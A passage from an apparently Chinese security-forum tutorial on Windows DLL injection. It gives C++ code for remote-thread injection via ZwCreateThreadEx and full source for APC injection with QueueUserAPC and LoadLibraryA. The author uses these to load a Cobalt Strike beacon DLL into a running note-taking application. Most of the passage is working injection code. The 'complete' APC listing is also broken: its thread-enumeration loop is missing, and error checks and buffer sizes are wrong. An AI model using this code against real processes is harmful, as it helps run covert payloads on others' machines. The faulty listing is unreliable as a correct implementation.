        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);
#endif

//获取ZwCreateThreadEx函数地址
    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");

if (NULL == ZwCreateThreadEx)
    {
        ShowError("GetProcAddress_ZwCreateThread - Error!\n\n");
        return FALSE;
    }
    // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
    dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
    if (NULL == ZwCreateThreadEx)
    {
        ShowError("ZwCreateThreadEx - Error!\n\n");
        return FALSE;
    }
    // 关闭句柄
    ::CloseHandle(hProcess);
    ::FreeLibrary(hNtdllDll);

return TRUE;
}

int main(int argc, char* argv[])
{
#ifdef _WIN64
    BOOL bRet = ZwCreateThreadExInjectDll(4924, "C:\\Users\\61408\\Desktop\\artifact.dll");
#else 
    BOOL bRet = ZwCreateThreadExInjectDll(4924, "C:\\Users\\61408\\Desktop\\artifact.dll");
#endif
    if (FALSE == bRet)
    {
        printf("Inject Dll Error!\n\n");
    }
    printf("Inject Dll OK!\n\n");
    return 0;
}

```

因为在dll注入的过程中是看不到messagebox的，所以这里我选择cs注入进行测试，若注入成功即可上线

首先生成一个32位的dll文件，这里跟位数有关，我选择注入的是32位的进程，所以这里我选择生成32位的dll

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-e6a282b7cf8a22f7cad634de1ebd76ab771b75a8.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-e6a282b7cf8a22f7cad634de1ebd76ab771b75a8.png)

得到路径

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-c1e3679fddf1ba1173ead61c9794a6e1457173b6.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-c1e3679fddf1ba1173ead61c9794a6e1457173b6.png)

这里我选择的是有道云笔记进行注入，查看一下pid

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-565ebe9a7ba9c34d0c651e397ea4cade4cade558.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-565ebe9a7ba9c34d0c651e397ea4cade4cade558.png)

然后把我们函数的pid改为有道云的pid

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-4476c3744191b05188af33d466be9c8f3b367e3e.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-4476c3744191b05188af33d466be9c8f3b367e3e.png)

实现效果如下所示

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-bf5b5472cea66e6ecc29d4a8567a4a12f5b51a65.jpg)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-bf5b5472cea66e6ecc29d4a8567a4a12f5b51a65.jpg)

APC注入
=====

APC，全称为Asynchronous Procedure Call，即异步过程调用，是指函数在特定线程中被异步执行，在操作系统中，APC是一种并发机制。

这里去看一下msdn中异步过程调用的解释如下

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-bef3d27120b85885053486917c7418303936979b.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-bef3d27120b85885053486917c7418303936979b.png)

首先第一个函数

QueueUserApc: 函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中

APCproc: 函数作用: 回调函数的写法.

往线程APC队列添加APC，系统会产生一个软中断。在线程下一次被调度的时候，就会执行APC函数，APC有两种形式，由系统产生的APC称为内核模式APC，由应用程序产生的APC被称为用户模式APC。这里介绍一下应用程序的APC，APC是往线程中插入一个回调函数,但是用的APC调用这个回调函数是有条件的，如msdn所示

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-98a5ad6f54f2bf22b83a33a447a7186476d7d3b4.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-98a5ad6f54f2bf22b83a33a447a7186476d7d3b4.png)

核心函数
----

QueueUserAPC

```c++
DWORD QueueUserAPC(
PAPCFUNCpfnAPC, // APC function
HANDLEhThread, // handle to thread
ULONG_PTRdwData // APC function parameter
);
```

QueueUserAPC 函数的第一个参数表示执行函数的地址，当开始执行该APC的时候，程序会跳转到该函数地址处来执行。第二个参数表示插入APC的线程句柄，要求线程句柄必须包含THREAD\_SET\_CONTEXT 访问权限。第三个参数表示传递给执行函数的参数，与远线程注入类似，如果QueueUserAPC 的第一个参数为LoadLibraryA，第三个参数设置的是dll路径即可完成dll注入。

实现原理
----

在 Windows系统中,每个线程都会维护一个线程 APC队列，通过QucueUserAPC把一个APC 函数添加到指定线程的APC队列中。每个线程都有自己的APC队列,这个 APC队列记录了要求线程执行的一些APC函数。Windows系统会发出一个软中断去执行这些APC 函数，对于用户模式下的APC 队列,当线程处在可警告状态时才会执行这些APC 函数。一个线程在内部使用SignalObjectAndWait 、 SleepEx、WaitForSingleObjectEx、WaitForMultipleObjectsEx等函数把自己挂起时就是进入可警告状态,此时便会执行APC队列函数。

通俗点来概括过程可分为以下几步：

1）当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时，系统就会产生一个软中断（或者是Messagebox弹窗的时候不点OK的时候也能注入）。  
2）当线程再次被唤醒时，此线程会首先执行APC队列中的被注册的函数。  
3）利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针，如果我们插入的是Loadlibrary()执行函数的话，就能达到注入DLL的目的。

但是想要使用apc注入也有以下两点条件：

1.必须是多线程环境下

2.注入的程序必须会调用那些同步对象

每一个进程的**每一个线程都有自己的APC队列**，我们可以使用**QueueUserAPC**函数把一个APC函数压入APC队列中。当处于用户模式的APC被压入到线程APC队列后，线程并不会立刻执行压入的APC函数，而是要等到线程处于**可通知状态**(alertable)才会执行，即只有当一个线程内部调用**SleepEx**等上面说到的几个特定函数将自己处于**挂起状态**时，才会执行APC队列函数，执行顺序与普通队列相同，**先进先出（FIFO）**，在整个执行过程中，线程并无任何异常举动，不容易被察觉，但**缺点**是对于**单线程程序一般不存在挂起状态**，所以APC注入对于这类程序没有明显效果。

实现过程
----

这里的常规思路是编写一个根据进程名获取pid的函数，然后根据PID获取所有的线程ID，这里我就将两个函数集合在一起，通过自己输入PID来获取指定进程的线程并写入数组

```c++
//列出指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
    // 申请空间
    DWORD dwThreadIdListLength = 0;
    DWORD dwThreadIdListMaxCount = 2000;
    LPDWORD pThreadIdList = NULL;
    HANDLE hThreadSnap = INVALID_HANDLE_VALUE;

pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pThreadIdList == NULL)
    {
        return FALSE;
    }

RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));

THREADENTRY32 th32 = { 0 };

// 拍摄快照
    hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);

if (hThreadSnap == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }

// 结构的大小
    th32.dwSize = sizeof(THREADENTRY32);

// 遍历所有THREADENTRY32结构, 按顺序填入数组

BOOL bRet = Thread32First(hThreadSnap, &th32);
    while (bRet)
    {
        if (th32.th32OwnerProcessID == th32ProcessID)
        {
            if (dwThreadIdListLength >= dwThreadIdListMaxCount)
            {
                break;
            }
            pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
        }
        bRet = Thread32Next(hThreadSnap, &th32);
    }

*pThreadIdListLength = dwThreadIdListLength;
    *ppThreadIdList = pThreadIdList;

return TRUE;
}
```

然后是apc注入的主函数，首先使用`VirtualAllocEx`远程申请内存

```c++
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
```

然后使用`WriteProcessMemory`把dll路径写入内存

```c++
::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)
```

再获取`LoadLibraryA`的地址

```c++
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
```

便利线程并插入APC，这里定义一个fail并进行判断，如果`QueueUserAPC`返回的值为NULL则线程遍历失败，fail的值就+1

```c++
    for (int i = dwThreadIdListLength - 1; i >= 0; i--)
    {
        // 打开线程
        HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
        if (hThread)
        {
            // 插入APC
            if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
            {
                fail++;
            }
        }
    }
```

然后在到主函数，定义dll地址

```c++
strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll");
```

使用`OpenProcess`打开句柄

```c++
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
```

调用之前写好的`APCInject`函数实现APC注入

```c++
    if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
    {
        printf("Failed to inject DLL\n");
        return FALSE;
    }
```

完整代码如下

```c++
// APCInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
using namespace std;

void ShowError(const char* pszText)
{
    char szError[MAX_PATH] = { 0 };
    ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
    ::MessageBox(NULL, szError, "ERROR", MB_OK);
}

//列出指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
    // 申请空间
    DWORD dwThreadIdListLength = 0;
    DWORD dwThreadIdListMaxCount = 2000;
    LPDWORD pThreadIdList = NULL;
    HANDLE hThreadSnap = INVALID_HANDLE_VALUE;

pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pThreadIdList == NULL)
    {
        return FALSE;
    }

RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));

THREADENTRY32 th32 = { 0 };

// 拍摄快照
    hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);

if (hThreadSnap == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }

// 结构的大小
    th32.dwSize = sizeof(THREADENTRY32);

//遍历所有THREADENTRY32结构, 按顺序填入数组

*pThreadIdListLength = dwThreadIdListLength;
    *ppThreadIdList = pThreadIdList;

return TRUE;
}
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
    // 申请内存

PVOID lpAddr = NULL;
    SIZE_T page_size = 4096;

lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (lpAddr == NULL)
    {
        ShowError("VirtualAllocEx - Error\n\n");
        VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
        CloseHandle(hProcess);
        return FALSE;
    }
    // 把Dll的路径复制到内存中
    if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
    {
        ShowError("WriteProcessMemory - Error\n\n");
        VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
        CloseHandle(hProcess);
        return FALSE;
    }

// 获得LoadLibraryA的地址
    PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");

// 遍历线程, 插入APC
    float fail = 0;
    for (int i = dwThreadIdListLength - 1; i >= 0; i--)
    {
        // 打开线程
        HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
        if (hThread)
        {
            // 插入APC
            if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
            {
                fail++;
            }
            // 关闭线程句柄
            ::CloseHandle(hThread);
            hThread = NULL;
        }
    }

printf("Total Thread: %d\n", dwThreadIdListLength);
    printf("Total Failed: %d\n", (int)fail);

if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
    {
        printf("Success to Inject APC\n");
        return TRUE;
    }
    else
    {
        printf("Inject may be failed\n");
        return FALSE;
    }
}
int main()
{
    ULONG32 ulProcessID = 0;
    printf("Input the Process ID:");
    cin >> ulProcessID;
    CHAR wzDllFullPath[MAX_PATH] = { 0 };
    LPDWORD pThreadIdList = NULL;
    DWORD dwThreadIdListLength = 0;

#ifndef _WIN64
    strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll");
#else // _WIN64
    strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll");
#endif
    if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
    {
        printf("Can not list the threads\n");
        exit(0);
    }
    //打开句柄
    HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);

if (hProcess == NULL)
    {
        printf("Failed to open Process\n");
        return FALSE;
    }

//注入
    if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
    {
        printf("Failed to inject DLL\n");
        return FALSE;
    }
    return 0;
}
```

之前说过我没有使用`进程名 -> pid`的方式，而是直接采用手动输入的方式，通过`cin >> ulProcessID`将接收到的参数赋给`ulProcessID`

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-7533d88b8d654a94a96d28f82ddc3827e06cace7.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-7533d88b8d654a94a96d28f82ddc3827e06cace7.png)

这里可以选择写一个MessageBox的dll，这里我直接用的是cs的dll，演示效果如下所示

[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-66035987fc21b78b8297308f8261a39aaa2de4bc.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-66035987fc21b78b8297308f8261a39aaa2de4bc.png)

发表于 2021-10-19 14:02:39
阅读 ( 5909 )
分类：渗透测试

初探dll注入

0 条评论